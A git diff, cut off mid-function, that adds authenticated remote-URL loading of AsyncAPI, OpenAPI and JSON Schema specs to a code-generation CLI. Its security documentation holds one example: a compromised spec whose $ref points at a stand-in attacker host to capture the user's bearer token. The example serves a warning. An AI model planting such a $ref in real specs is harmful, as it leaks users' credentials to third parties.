diff --git a/docs/configurations.md b/docs/configurations.md index 57133890..2e2d4ba1 100644 --- a/docs/configurations.md +++ b/docs/configurations.md @@ -127,3 +127,86 @@ export default { ] }; ``` + +## Remote URL inputs + +`inputPath` accepts an `http://` or `https://` URL in addition to a local +file path. The same configuration field is used for AsyncAPI, OpenAPI, and +JSON Schema inputs: + +```javascript +export default { + inputType: 'asyncapi', + inputPath: 'https://example.com/specs/asyncapi.yaml', + language: 'typescript', + generators: [ + { preset: 'payloads', outputPath: './src/payloads' } + ] +}; +``` + +Format detection prefers the response `Content-Type` header +(`application/json` → JSON, `*yaml*` → YAML), falling back to the URL +extension and finally to JSON-then-YAML for ambiguous cases. + +External `$ref` targets (e.g. `$ref: +'https://example.com/components.yaml#/components/schemas/Pet'`) are also +resolved over the same code path for AsyncAPI and OpenAPI inputs. + +### Authenticating remote requests + +For specs hosted behind authentication, configure the `auth` field. Three +shapes are supported: + +```javascript +// Bearer token +auth: { type: 'bearer', token: process.env.API_TOKEN } + +// API key in a custom header +auth: { type: 'apiKey', header: 'X-API-Key', value: process.env.API_KEY } + +// Arbitrary headers +auth: { + type: 'custom', + headers: { + Authorization: `Bearer ${process.env.API_TOKEN}`, + 'X-Tenant': 'acme' + } +} +``` + +The `auth` field is ignored when `inputPath` is a local file path. + +### Auth scope and security considerations + +**The configured authentication headers are sent to every URL the loader +fetches**, including: + +- The root `inputPath` URL. +- Every external `$ref` target the parser libraries follow during + dereferencing — even when the `$ref` points at a different host. + +This is the right default for typical internal-SSO setups where the root +spec and its `$ref` chain share an auth boundary, but it means that **a +compromised spec can exfiltrate your token**: + +```yaml +# Compromised spec at https://api.example.com/openapi.yaml +openapi: 3.0.0 +paths: + /users: + get: + responses: + '200': + content: + application/json: + schema: + $ref: 'https://attacker.example/exfil.yaml' # ← receives your token +``` + +### Watch mode + +`--watch` only observes the local filesystem. When `inputPath` is a +remote URL, the input watcher is skipped and a warning is logged. Use +`--watchPath` to watch a local file that triggers regeneration (which +will re-fetch the URL) on change. diff --git a/docs/inputs/asyncapi.md b/docs/inputs/asyncapi.md index 27a7df9d..caf7a720 100644 --- a/docs/inputs/asyncapi.md +++ b/docs/inputs/asyncapi.md @@ -26,6 +26,12 @@ There is a lot of overlap with existing tooling, however the idea is to form the | [`custom`](../generators/custom.md) | ✅ | | [`models`](../generators/custom.md) | ✅ | +## Remote URL inputs + +`inputPath` accepts an `http://` or `https://` URL. Optional authentication (bearer token, API key, or custom headers) is configured +via the `auth` field. See the [configurations guide](../configurations.md#remote-url-inputs) for examples and the [auth scope and security +considerations](../configurations.md#auth-scope-and-security-considerations) section before using `auth` against a public spec — the configured headers are sent to every `$ref` target as well as the root URL. + ## Basic AsyncAPI Document Structure Here's a complete basic AsyncAPI document example to get you started: diff --git a/docs/inputs/jsonschema.md b/docs/inputs/jsonschema.md index c778b84e..2b76e4d9 100644 --- a/docs/inputs/jsonschema.md +++ b/docs/inputs/jsonschema.md @@ -15,6 +15,10 @@ The JSON Schema input type supports the following generators: | [`models`](../generators/models.md) | ✅ | | [`custom`](../generators/custom.md) | ✅ | +## Remote URL inputs + +`inputPath` accepts an `http://` or `https://` URL. Optional authentication (bearer token, API key, or custom headers) is configured via the `auth` field. See the [configurations guide](../configurations.md#remote-url-inputs) for examples and the [auth scope and security considerations](../configurations.md#auth-scope-and-security-considerations) section. Note: JSON Schema input does **not** resolve external `$ref`s in the loader (Modelina handles refs downstream), so auth headers are only sent to the root URL. + ## Configuration ### Basic Configuration diff --git a/docs/inputs/openapi.md b/docs/inputs/openapi.md index eae4127d..8d60a5f1 100644 --- a/docs/inputs/openapi.md +++ b/docs/inputs/openapi.md @@ -36,29 +36,9 @@ Create a configuration file that specifies OpenAPI as the input type: } ``` -## Advanced Features +## Remote URL inputs -### External References - -The OpenAPI parser automatically resolves external `$ref` references: - -```yaml -components: - schemas: - Pet: - $ref: './schemas/pet.yaml#/Pet' - User: - $ref: 'https://api.example.com/schemas/user.json#/User' -``` - -### OpenAPI 3.1 Features - -Full support for OpenAPI 3.1 features including: - -- JSON Schema 2020-12 compatibility -- `const` keyword -- `if`/`then`/`else` conditionals -- Enhanced `examples` support +`inputPath` accepts an `http://` or `https://` URL. Optional authentication (bearer token, API key, or custom headers) is configured via the `auth` field. Cross-spec `$ref` URLs are also resolved through the same auth-aware HTTP client. See the [configurations guide](../configurations.md#remote-url-inputs) for examples and the [auth scope and security considerations](../configurations.md#auth-scope-and-security-considerations) section — the configured headers are sent to every `$ref` target as well as the root URL. ## Troubleshooting diff --git a/package-lock.json b/package-lock.json index 6e68a65f..33dbc03a 100644 --- a/package-lock.json +++ b/package-lock.json @@ -9,6 +9,7 @@ "version": "0.71.0", "license": "Apache-2.0", "dependencies": { + "@apidevtools/json-schema-ref-parser": "^14.2.0", "@asyncapi/avro-schema-parser": "^3.0.24", "@asyncapi/modelina": "^6.0.0-next.11", "@asyncapi/openapi-schema-parser": "^3.0.24", @@ -43,7 +44,7 @@ "@swc/jest": "^0.2.23", "@types/inquirer": "^9.0.7", "@types/jest": "^29.5.12", - "@types/node": "^18", + "@types/node": "^22", "@types/rimraf": "^4.0.5", "@types/uuid": "^10.0.0", "@typescript-eslint/eslint-plugin": "^8.58.0", @@ -89,19 +90,21 @@ } }, "node_modules/@apidevtools/json-schema-ref-parser": { - "version": "11.6.4", - "resolved": "https://registry.npmjs.org/@apidevtools/json-schema-ref-parser/-/json-schema-ref-parser-11.6.4.tgz", - "integrity": "sha512-9K6xOqeevacvweLGik6LnZCb1fBtCOSIWQs8d096XGeqoLKC33UVMGz9+77Gw44KvbH4pKcQPWo4ZpxkXYj05w==", + "version": "14.2.1", + "resolved": "https://registry.npmjs.org/@apidevtools/json-schema-ref-parser/-/json-schema-ref-parser-14.2.1.tgz", + "integrity": "sha512-HmdFw9CDYqM6B25pqGBpNeLCKvGPlIx1EbLrVL0zPvj50CJQUHyBNBw45Muk0kEIkogo1VZvOKHajdMuAzSxRg==", + "license": "MIT", "dependencies": { - "@jsdevtools/ono": "^7.1.3", - "@types/json-schema": "^7.0.15", "js-yaml": "^4.1.0" }, "engines": { - "node": ">= 16" + "node": ">= 20" }, "funding": { "url": "https://github.com/sponsors/philsturgeon" + }, + "peerDependencies": { + "@types/json-schema": "^7.0.15" } }, "node_modules/@apidevtools/openapi-schemas": { @@ -196,6 +199,23 @@ "node": ">=22" } }, + "node_modules/@asyncapi/modelina/node_modules/@apidevtools/json-schema-ref-parser": { + "version": "11.9.3", + "resolved": "https://registry.npmjs.org/@apidevtools/json-schema-ref-parser/-/json-schema-ref-parser-11.9.3.tgz", + "integrity": "sha512-60vepv88RwcJtSHrD6MjIL6Ta3SOYbgfnkHb+ppAVK+o9mXprRtulx7VlRl3lN3bbvysAfCS7WMVfhUYemB0IQ==", + "license": "MIT", + "dependencies": { + "@jsdevtools/ono": "^7.1.3", + "@types/json-schema": "^7.0.15", + "js-yaml": "^4.1.0" + }, + "engines": { + "node": ">= 16" + }, + "funding": { + "url": "https://github.com/sponsors/philsturgeon" + } + }, "node_modules/@asyncapi/modelina/node_modules/change-case": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/change-case/-/change-case-4.1.2.tgz", @@ -3824,24 +3844,6 @@ "openapi-types": ">=7" } }, - "node_modules/@readme/openapi-parser/node_modules/@apidevtools/json-schema-ref-parser": { - "version": "14.2.0", - "resolved": "https://registry.npmjs.org/@apidevtools/json-schema-ref-parser/-/json-schema-ref-parser-14.2.0.tgz", - "integrity": "sha512-NaGMMWwppbByagq+LwQMq6PMXHFWVu6kSwwx+eJfYTJ5zdpOvb9TIk6ZWxEEeXMUvGdVOZq3JalYsjsTZDvtkA==", - "license": "MIT", - "dependencies": { - "js-yaml": "^4.1.0" - }, - "engines": { - "node": ">= 20" - }, - "funding": { - "url": "https://github.com/sponsors/philsturgeon" - }, - "peerDependencies": { - "@types/json-schema": "^7.0.15" - } - }, "node_modules/@readme/openapi-schemas": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/@readme/openapi-schemas/-/openapi-schemas-3.1.0.tgz", @@ -5627,13 +5629,20 @@ } }, "node_modules/@types/node": { - "version": "18.19.33", - "resolved": "https://registry.npmjs.org/@types/node/-/node-18.19.33.tgz", - "integrity": "sha512-NR9+KrpSajr2qBVp/Yt5TU/rp+b5Mayi3+OlMlcg2cVCfRmcG5PWZ7S4+MG9PZ5gWBoc9Pd0BKSRViuBCRPu0A==", + "version": "22.19.17", + "resolved": "https://registry.npmjs.org/@types/node/-/node-22.19.17.tgz", + "integrity": "sha512-wGdMcf+vPYM6jikpS/qhg6WiqSV/OhG+jeeHT/KlVqxYfD40iYJf9/AE1uQxVWFvU7MipKRkRv8NSHiCGgPr8Q==", + "license": "MIT", "dependencies": { - "undici-types": "~5.26.4" + "undici-types": "~6.21.0" } }, + "node_modules/@types/node/node_modules/undici-types": { + "version": "6.21.0", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", + "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==", + "license": "MIT" + }, "node_modules/@types/protocol-buffers-schema": { "version": "3.4.3", "resolved": "https://registry.npmjs.org/@types/protocol-buffers-schema/-/protocol-buffers-schema-3.4.3.tgz", @@ -15118,7 +15127,8 @@ "node_modules/undici-types": { "version": "5.26.5", "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-5.26.5.tgz", - "integrity": "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA==" + "integrity": "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA==", + "dev": true }, "node_modules/universalify": { "version": "0.1.2", diff --git a/package.json b/package.json index 1b7a50b1..b4838495 100644 --- a/package.json +++ b/package.json @@ -7,6 +7,7 @@ }, "bugs": "https://github.com/the-codegen-project/cli/issues", "dependencies": { + "@apidevtools/json-schema-ref-parser": "^14.2.0", "@asyncapi/avro-schema-parser": "^3.0.24", "@asyncapi/modelina": "^6.0.0-next.11", "@asyncapi/openapi-schema-parser": "^3.0.24", @@ -38,7 +39,7 @@ "@swc/jest": "^0.2.23", "@types/inquirer": "^9.0.7", "@types/jest": "^29.5.12", - "@types/node": "^18", + "@types/node": "^22", "@types/rimraf": "^4.0.5", "@types/uuid": "^10.0.0", "@typescript-eslint/eslint-plugin": "^8.58.0", diff --git a/schemas/configuration-schema-0-with-docs.json b/schemas/configuration-schema-0-with-docs.json index 1a1544a5..67d272f6 100644 --- a/schemas/configuration-schema-0-with-docs.json +++ b/schemas/configuration-schema-0-with-docs.json @@ -19,6 +19,9 @@ "type": "string", "markdownDescription": "Path or URL to the input document used as the source for code generation. [Read more about configurations here](https://the-codegen-project.org/docs/configurations)" }, + "auth": { + "$ref": "#/definitions/AsyncAPICodegenConfiguration/properties/auth" + }, "language": { "$ref": "#/definitions/AsyncAPICodegenConfiguration/properties/language" }, @@ -78,6 +81,9 @@ "type": "string", "markdownDescription": "Path or URL to the input document used as the source for code generation. [Read more about configurations here](https://the-codegen-project.org/docs/configurations)" }, + "auth": { + "$ref": "#/definitions/AsyncAPICodegenConfiguration/properties/auth" + }, "language": { "$ref": "#/definitions/AsyncAPICodegenConfiguration/properties/language" }, @@ -124,6 +130,72 @@ "type": "string", "markdownDescription": "Path or URL to the input document used as the source for code generation. [Read more about configurations here](https://the-codegen-project.org/docs/configurations)" }, + "auth": { + "anyOf": [ + { + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "bearer" + }, + "token": { + "type": "string", + "minLength": 1 + } + }, + "required": [ + "type", + "token" + ], + "additionalProperties": false + }, + { + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "apiKey" + }, + "header": { + "type": "string", + "minLength": 1 + }, + "value": { + "type": "string", + "minLength": 1 + } + }, + "required": [ + "type", + "header", + "value" + ], + "additionalProperties": false + }, + { + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "custom" + }, + "headers": { + "type": "object", + "additionalProperties": { + "type": "string" + } + } + }, + "required": [ + "type", + "headers" + ], + "additionalProperties": false + } + ], + "markdownDescription": "Authentication for fetching remote input specifications via http(s). Ignored for local file paths. WARNING: these credentials are sent to every URL the loader fetches, including external $ref targets on other hosts. See https://the-codegen-project.org/docs/configurations#auth-scope-and-security-considerations for details." + }, "language": { "type": "string", "const": "typescript", diff --git a/schemas/configuration-schema-0.json b/schemas/configuration-schema-0.json index adf1e7eb..5c09fa6b 100644 --- a/schemas/configuration-schema-0.json +++ b/schemas/configuration-schema-0.json @@ -19,6 +19,9 @@ "type": "string", "description": "Path or URL to the input document used as the source for code generation. Read more about configurations here" }, + "auth": { + "$ref": "#/definitions/AsyncAPICodegenConfiguration/properties/auth" + }, "language": { "$ref": "#/definitions/AsyncAPICodegenConfiguration/properties/language" }, @@ -78,6 +81,9 @@ "type": "string", "description": "Path or URL to the input document used as the source for code generation. Read more about configurations here" }, + "auth": { + "$ref": "#/definitions/AsyncAPICodegenConfiguration/properties/auth" + }, "language": { "$ref": "#/definitions/AsyncAPICodegenConfiguration/properties/language" }, @@ -124,6 +130,72 @@ "type": "string", "description": "Path or URL to the input document used as the source for code generation. Read more about configurations here" }, + "auth": { + "anyOf": [ + { + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "bearer" + }, + "token": { + "type": "string", + "minLength": 1 + } + }, + "required": [ + "type", + "token" + ], + "additionalProperties": false + }, + { + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "apiKey" + }, + "header": { + "type": "string", + "minLength": 1 + }, + "value": { + "type": "string", + "minLength": 1 + } + }, + "required": [ + "type", + "header", + "value" + ], + "additionalProperties": false + }, + { + "type": "object", + "properties": { + "type": { + "type": "string", + "const": "custom" + }, + "headers": { + "type": "object", + "additionalProperties": { + "type": "string" + } + } + }, + "required": [ + "type", + "headers" + ], + "additionalProperties": false + } + ], + "description": "Authentication for fetching remote input specifications via http(s). Ignored for local file paths. WARNING: these credentials are sent to every URL the loader fetches, including external $ref targets on other hosts. See https://the-codegen-project.org/docs/configurations#auth-scope-and-security-considerations for details." + }, "language": { "type": "string", "const": "typescript", diff --git a/src/codegen/configurations.ts b/src/codegen/configurations.ts index a871a589..b1d3a03f 100644 --- a/src/codegen/configurations.ts +++ b/src/codegen/configurations.ts @@ -41,6 +41,7 @@ import { parseZodErrors } from './errors'; import {detectTypeScriptImportExtension} from './detection'; +import {isRemoteUrl} from '../utils/inputSource'; const moduleName = 'codegen'; const explorer = cosmiconfig(moduleName, { searchPlaces: [ @@ -290,12 +291,15 @@ export async function realizeGeneratorContext( } Logger.debug(`Found configuration: ${JSON.stringify(config, null, 2)}`); - const documentPath = path.resolve(path.dirname(filePath), config.inputPath); + const documentPath = isRemoteUrl(config.inputPath) + ? config.inputPath + : path.resolve(path.dirname(filePath), config.inputPath); Logger.verbose(`Document path: ${documentPath}`); Logger.verbose(`Input type: ${config.inputType}`); const context: RunGeneratorContext = { configuration: config, documentPath, + inputAuth: (config as {auth?: RunGeneratorContext['inputAuth']}).auth, configFilePath: filePath }; if (config.inputType === 'asyncapi') { diff --git a/src/codegen/errors.ts b/src/codegen/errors.ts index 3918d6c7..aeee97f5 100644 --- a/src/codegen/errors.ts +++ b/src/codegen/errors.ts @@ -181,17 +181,106 @@ export function createConfigValidationError(options: { }); } +function detectFormatHint(inputPath: string): 'JSON' | 'YAML' | 'JSON or YAML' { + if (inputPath.endsWith('.json')) { + return 'JSON'; + } + if (inputPath.endsWith('.yaml') || inputPath.endsWith('.yml')) { + return 'YAML'; + } + return 'JSON or YAML'; +} + export function createInputDocumentError(options: { inputPath: string; inputType: string; errorMessage: string; }): CodegenError { const {inputPath, inputType, errorMessage} = options; + const isUrl = + inputPath.startsWith('http://') || inputPath.startsWith('https://'); + const formatHint = detectFormatHint(inputPath); + const sourceHelp = isUrl + ? `Check that the URL is reachable and returns a valid ${formatHint} document.` + : `Check that the input file exists and is a valid ${formatHint} file.`; return new CodegenError({ type: ErrorType.INPUT_DOCUMENT_ERROR, message: `Failed to load ${inputType} document: ${inputPath}`, details: errorMessage, - help: `Check that the input file exists and is a valid ${inputPath.endsWith('.json') ? 'JSON' : 'YAML'} file.\nEnsure the document conforms to the ${inputType} specification.` + help: `${sourceHelp}\nEnsure the document conforms to the ${inputType} specification.` + }); +} + +/** + * Build a typed error for a failed remote fetch. Help text is tailored + * to the HTTP status code (401/403 → auth, 404 → URL, 429 → rate-limit, + * timeout → timeout, network → connectivity, other → generic). + */ +function remoteFetchHelp( + url: string, + reason: 'timeout' | 'network' | 'http' | undefined, + status: number | undefined, + cause: unknown +): string { + if (reason === 'timeout') { + return 'The request timed out. Increase the timeout, retry, or check that the host is reachable.'; + } + if (status === 401 || status === 403) { + return `Authentication or authorization failed for ${url}. Check the 'auth' field in your configuration (token, header name, header value).`; + } + if (status === 404) { + return `The URL ${url} returned 404. Verify the URL is correct and the resource exists.`; + } + if (status === 429) { + return `The server is rate-limiting requests to ${url}. Retry later or reduce the request rate.`; + } + if (status && status >= 500) { + return `The server returned a ${status} error for ${url}. The remote service may be temporarily unavailable; retry later.`; + } + if (reason === 'network' || (!status && cause)) { + return `Could not reach ${url}. Check your network connection, DNS, and any firewall/proxy settings.`; + } + return `Could not fetch ${url}.`; +} + +function formatStatusPart( + status: number | undefined, + statusText: string | undefined +): string { + if (!status) { + return ''; + } + const trailing = statusText ? ` ${statusText}` : ''; + return ` (HTTP ${status}${trailing})`; +} + +function stringifyCause(cause: unknown): string { + if (cause instanceof Error) { + return cause.message; + } + if (cause === undefined) { + return ''; + } + return String(cause); +} + +export function createRemoteFetchError(options: { + url: string; + status?: number; + statusText?: string; + cause?: unknown; + reason?: 'timeout' | 'network' | 'http'; +}): CodegenError { + const {url, status, statusText, cause, reason} = options; + const help = remoteFetchHelp(url, reason, status, cause); + const statusPart = formatStatusPart(status, statusText); + const causePart = stringifyCause(cause); + + return new CodegenError({ + type: ErrorType.INPUT_DOCUMENT_ERROR, + message: `Failed to fetch remote document from ${url}${statusPart}`, + details: causePart || undefined, + help }); } diff --git a/src/codegen/inputs/asyncapi/parser.ts b/src/codegen/inputs/asyncapi/parser.ts index 13f2fb2b..937c96f1 100644 --- a/src/codegen/inputs/asyncapi/parser.ts +++ b/src/codegen/inputs/asyncapi/parser.ts @@ -1,13 +1,17 @@ -import {Parser, fromFile} from '@asyncapi/parser'; +import {Parser} from '@asyncapi/parser'; import {AvroSchemaParser} from '@asyncapi/avro-schema-parser'; import {OpenAPISchemaParser} from '@asyncapi/openapi-schema-parser'; import {RamlDTSchemaParser} from '@asyncapi/raml-dt-schema-parser'; import {ProtoBuffSchemaParser} from '@asyncapi/protobuf-schema-parser'; -import {RunGeneratorContext} from '../../types'; +import {readFileSync} from 'fs'; +import {InputAuthConfig, RunGeneratorContext} from '../../types'; import {Logger} from '../../../LoggingInterface'; import {createInputDocumentError} from '../../errors'; +import {isRemoteUrl} from '../../../utils/inputSource'; +import {fetchRemoteDocument} from '../../../utils/remoteFetch'; +import {createAsyncapiResolvers} from '../../../utils/refResolvers'; -const parser = new Parser({ +const SHARED_PARSER_OPTIONS = { ruleset: { core: false, recommended: false @@ -18,15 +22,55 @@ const parser = new Parser({ RamlDTSchemaParser(), ProtoBuffSchemaParser() ] -}); +}; + +const sharedParser = new Parser({...SHARED_PARSER_OPTIONS}); + +function buildParserWithAuth(auth: InputAuthConfig, rootUrl: string): Parser { + return new Parser({ + ...SHARED_PARSER_OPTIONS, + __unstable: { + resolver: { + // The resolver shape comes from `@stoplight/spectral-ref-resolver` + // and accepts `string | undefined | Promise`. + // Our resolver factory always returns a string. + resolvers: createAsyncapiResolvers(auth, {rootUrl}) as any + } + } + }); +} export async function loadAsyncapi(context: RunGeneratorContext) { - return loadAsyncapiDocument(context.documentPath); + return loadAsyncapiDocument(context.documentPath, context.inputAuth); } -export async function loadAsyncapiDocument(documentPath: string) { +export async function loadAsyncapiDocument( + documentPath: string, + auth?: InputAuthConfig +) { Logger.verbose(`Loading AsyncAPI document from ${documentPath}`); - const document = await fromFile(parser, documentPath).parse(); + let content: string; + if (isRemoteUrl(documentPath)) { + const fetched = await fetchRemoteDocument(documentPath, auth); + content = fetched.content; + } else { + try { + content = readFileSync(documentPath, 'utf-8'); + } catch (error) { + throw createInputDocumentError({ + inputPath: documentPath, + inputType: 'asyncapi', + errorMessage: `Could not read file: ${error}` + }); + } + } + + const parser = + isRemoteUrl(documentPath) && auth + ? buildParserWithAuth(auth, documentPath) + : sharedParser; + + const document = await parser.parse(content, {source: documentPath}); if (document.diagnostics.length > 0) { throw createInputDocumentError({ inputPath: documentPath, @@ -39,7 +83,7 @@ export async function loadAsyncapiDocument(documentPath: string) { } export async function loadAsyncapiFromMemory(input: string) { - const document = await parser.parse(input); + const document = await sharedParser.parse(input); if (document.diagnostics.length > 0) { throw createInputDocumentError({ inputPath: 'memory', diff --git a/src/codegen/inputs/jsonschema/parser.ts b/src/codegen/inputs/jsonschema/parser.ts index 871bb7d2..274b08fc 100644 --- a/src/codegen/inputs/jsonschema/parser.ts +++ b/src/codegen/inputs/jsonschema/parser.ts @@ -1,7 +1,10 @@ import {Logger} from '../../../LoggingInterface'; -import {RunGeneratorContext} from '../../types'; +import {InputAuthConfig, RunGeneratorContext} from '../../types'; import fs from 'fs'; +import {parse as parseYaml} from 'yaml'; import {createInputDocumentError} from '../../errors'; +import {isRemoteUrl} from '../../../utils/inputSource'; +import {fetchRemoteDocument} from '../../../utils/remoteFetch'; export interface JsonSchemaDocument { [key: string]: any; @@ -13,82 +16,57 @@ export interface JsonSchemaDocument { } /** - * Load JSON Schema document from file path in context + * Load JSON Schema document from file path or remote URL in context. */ export async function loadJsonSchema( context: RunGeneratorContext ): Promise { - const {documentPath} = context; - Logger.verbose(`Loading JSON Schema document from ${documentPath}`); - - try { - const fileContent = fs.readFileSync(documentPath, 'utf8'); - let document: JsonSchemaDocument; - - if (documentPath.endsWith('.json')) { - document = JSON.parse(fileContent); - } else if ( - documentPath.endsWith('.yaml') || - documentPath.endsWith('.yml') - ) { - // Import yaml dynamically to avoid circular dependencies - const yaml = await import('yaml'); - document = yaml.parse(fileContent); - } else { - throw createInputDocumentError({ - inputPath: documentPath, - inputType: 'jsonschema', - errorMessage: `Unsupported file format. Use .json, .yaml, or .yml` - }); - } - - validateJsonSchemaDocument(document, documentPath); - return document; - } catch (error) { - if (error instanceof Error) { - throw createInputDocumentError({ - inputPath: documentPath, - inputType: 'jsonschema', - errorMessage: error.message - }); - } - throw createInputDocumentError({ - inputPath: documentPath, - inputType: 'jsonschema', - errorMessage: 'Unknown error' - }); - } + return loadJsonSchemaDocument(context.documentPath, context.inputAuth); } /** - * Load JSON Schema document from file path directly + * Load JSON Schema document from a file path or http(s) URL. + * + * URL format detection: prefers `Content-Type` (`application/json` → + * JSON, `*yaml*` → YAML), falls back to URL extension, then to + * JSON-first-then-YAML for ambiguous cases. */ export async function loadJsonSchemaDocument( - filePath: string + filePath: string, + auth?: InputAuthConfig ): Promise { Logger.verbose(`Loading JSON Schema document from ${filePath}`); try { - const fileContent = fs.readFileSync(filePath, 'utf8'); - let document: JsonSchemaDocument; - - if (filePath.endsWith('.json')) { - document = JSON.parse(fileContent); - } else if (filePath.endsWith('.yaml') || filePath.endsWith('.yml')) { - // Import yaml dynamically to avoid circular dependencies - const yaml = await import('yaml'); - document = yaml.parse(fileContent); + let content: string; + let contentType: string | null = null; + + if (isRemoteUrl(filePath)) { + const fetched = await fetchRemoteDocument(filePath, auth); + content = fetched.content; + contentType = fetched.contentType; } else { - throw createInputDocumentError({ - inputPath: filePath, - inputType: 'jsonschema', - errorMessage: `Unsupported file format. Use .json, .yaml, or .yml` - }); + if ( + !filePath.endsWith('.json') && + !filePath.endsWith('.yaml') && + !filePath.endsWith('.yml') + ) { + throw createInputDocumentError({ + inputPath: filePath, + inputType: 'jsonschema', + errorMessage: `Unsupported file format. Use .json, .yaml, or .yml` + }); + } + content = fs.readFileSync(filePath, 'utf8'); } + const document = parseDocument(content, filePath, contentType); validateJsonSchemaDocument(document, filePath); return document; } catch (error) { + if ((error as {type?: string})?.type) { + throw error; + } if (error instanceof Error) { throw createInputDocumentError({ inputPath: filePath, @@ -104,8 +82,32 @@ export async function loadJsonSchemaDocument( } } +function parseDocument( + content: string, + source: string, + contentType: string | null +): JsonSchemaDocument { + const ct = contentType?.toLowerCase() ?? ''; + const isYaml = + ct.includes('yaml') || source.endsWith('.yaml') || source.endsWith('.yml'); + const isJson = ct.includes('json') || source.endsWith('.json'); + + if (isJson && !isYaml) { + return JSON.parse(content); + } + if (isYaml && !isJson) { + return parseYaml(content); + } + // Ambiguous → JSON-first-then-YAML. + try { + return JSON.parse(content); + } catch { + return parseYaml(content); + } +} + /** - * Load JSON Schema document from memory + * Load JSON Schema document from memory. */ export function loadJsonSchemaFromMemory( document: JsonSchemaDocument, @@ -119,7 +121,7 @@ export function loadJsonSchemaFromMemory( } /** - * Basic validation for JSON Schema document + * Basic validation for JSON Schema document. */ function validateJsonSchemaDocument( document: JsonSchemaDocument, @@ -133,7 +135,6 @@ function validateJsonSchemaDocument( }); } - // Basic JSON Schema structure validation if (document.$schema && typeof document.$schema !== 'string') { throw createInputDocumentError({ inputPath: source, @@ -142,14 +143,12 @@ function validateJsonSchemaDocument( }); } - // Warn if no $schema is specified if (!document.$schema) { Logger.warn( `JSON Schema document from ${source} does not specify a $schema version. Consider adding one for better validation.` ); } - // Must have at least type or properties or definitions/$defs to be useful for code generation const hasType = document.type !== undefined; const hasProperties = document.properties !== undefined; const hasDefinitions = diff --git a/src/codegen/inputs/openapi/parser.ts b/src/codegen/inputs/openapi/parser.ts index 38d30dea..25785c32 100644 --- a/src/codegen/inputs/openapi/parser.ts +++ b/src/codegen/inputs/openapi/parser.ts @@ -1,63 +1,127 @@ -import {parse, dereference} from '@readme/openapi-parser'; -import {RunGeneratorContext} from '../../types'; +import {parse} from '@readme/openapi-parser'; +import $RefParser from '@apidevtools/json-schema-ref-parser'; +import {InputAuthConfig, RunGeneratorContext} from '../../types'; import {readFileSync} from 'fs'; import {parse as parseYaml} from 'yaml'; import {OpenAPIV2, OpenAPIV3, OpenAPIV3_1} from 'openapi-types'; import {Logger} from '../../../LoggingInterface'; import {createInputDocumentError} from '../../errors'; +import {isRemoteUrl} from '../../../utils/inputSource'; +import {fetchRemoteDocument} from '../../../utils/remoteFetch'; +import {createOpenapiRefParserResolver} from '../../../utils/refResolvers'; export async function loadOpenapi( context: RunGeneratorContext ): Promise { - const documentPath = context.documentPath; - return loadOpenapiDocument(documentPath); + return loadOpenapiDocument(context.documentPath, context.inputAuth); } export async function loadOpenapiDocument( - documentPath: string + documentPath: string, + auth?: InputAuthConfig ): Promise { Logger.verbose(`Loading OpenAPI document from ${documentPath}`); try { - // Read the file content let documentContent: string; - try { - documentContent = readFileSync(documentPath, 'utf-8'); - } catch (error) { - throw createInputDocumentError({ - inputPath: documentPath, - inputType: 'openapi', - errorMessage: `Could not read file: ${error}` - }); - } + let contentType: string | null = null; - // Parse the document (support both JSON and YAML) - let document: any; - try { - if (documentPath.endsWith('.yaml') || documentPath.endsWith('.yml')) { - document = parseYaml(documentContent); - } else { - document = JSON.parse(documentContent); + if (isRemoteUrl(documentPath)) { + const fetched = await fetchRemoteDocument(documentPath, auth); + documentContent = fetched.content; + contentType = fetched.contentType; + } else { + try { + documentContent = readFileSync(documentPath, 'utf-8'); + } catch (error) { + throw createInputDocumentError({ + inputPath: documentPath, + inputType: 'openapi', + errorMessage: `Could not read file: ${error}` + }); } - } catch (error) { - throw createInputDocumentError({ - inputPath: documentPath, - inputType: 'openapi', - errorMessage: `Could not parse document: ${error}` + } + + const document = parseDocumentContent( + documentContent, + documentPath, + contentType + ); + + let dereferenced: any; + if (isRemoteUrl(documentPath)) { + // Use $RefParser directly so cross-spec $refs go through our + // auth-aware http resolver. The root document is already in memory. + const refParser = new $RefParser(); + dereferenced = await refParser.dereference(documentPath, document, { + resolve: { + http: createOpenapiRefParserResolver(auth, {rootUrl: documentPath}) + } }); + } else { + // Local file path: keep the existing @readme/openapi-parser flow + // which handles file:// $refs via the built-in resolver. + const parsedDocument = await parse(document); + const {dereference} = await import('@readme/openapi-parser'); + dereferenced = await dereference(parsedDocument); } - // Parse and validate the OpenAPI document - const parsedDocument = await parse(document); + // Run @readme/openapi-parser validation on the (already-dereferenced) + // document so we still get OpenAPI 3.x-spec-aware error messages. + if (isRemoteUrl(documentPath)) { + try { + await parse(JSON.parse(JSON.stringify(dereferenced))); + } catch (validationError) { + Logger.debug( + `OpenAPI validation warning after dereferencing: ${validationError}` + ); + } + } - // Dereference all $ref pointers to get a fully resolved document - const result = await dereference(parsedDocument); Logger.debug(`OpenAPI document loaded and dereferenced`); - return result; + return dereferenced; + } catch (error) { + if ((error as {type?: string})?.type) { + // Already a CodegenError from a sub-step + throw error; + } + throw createInputDocumentError({ + inputPath: documentPath, + inputType: 'openapi', + errorMessage: error instanceof Error ? error.message : String(error) + }); + } +} + +function parseDocumentContent( + content: string, + documentPath: string, + contentType: string | null +): any { + const ct = contentType?.toLowerCase() ?? ''; + const isYaml = + ct.includes('yaml') || + documentPath.endsWith('.yaml') || + documentPath.endsWith('.yml'); + const isJson = ct.includes('json') || documentPath.endsWith('.json'); + + try { + if (isYaml && !isJson) { + return parseYaml(content); + } + if (isJson) { + return JSON.parse(content); + } + // Ambiguous: try JSON first, then YAML. + try { + return 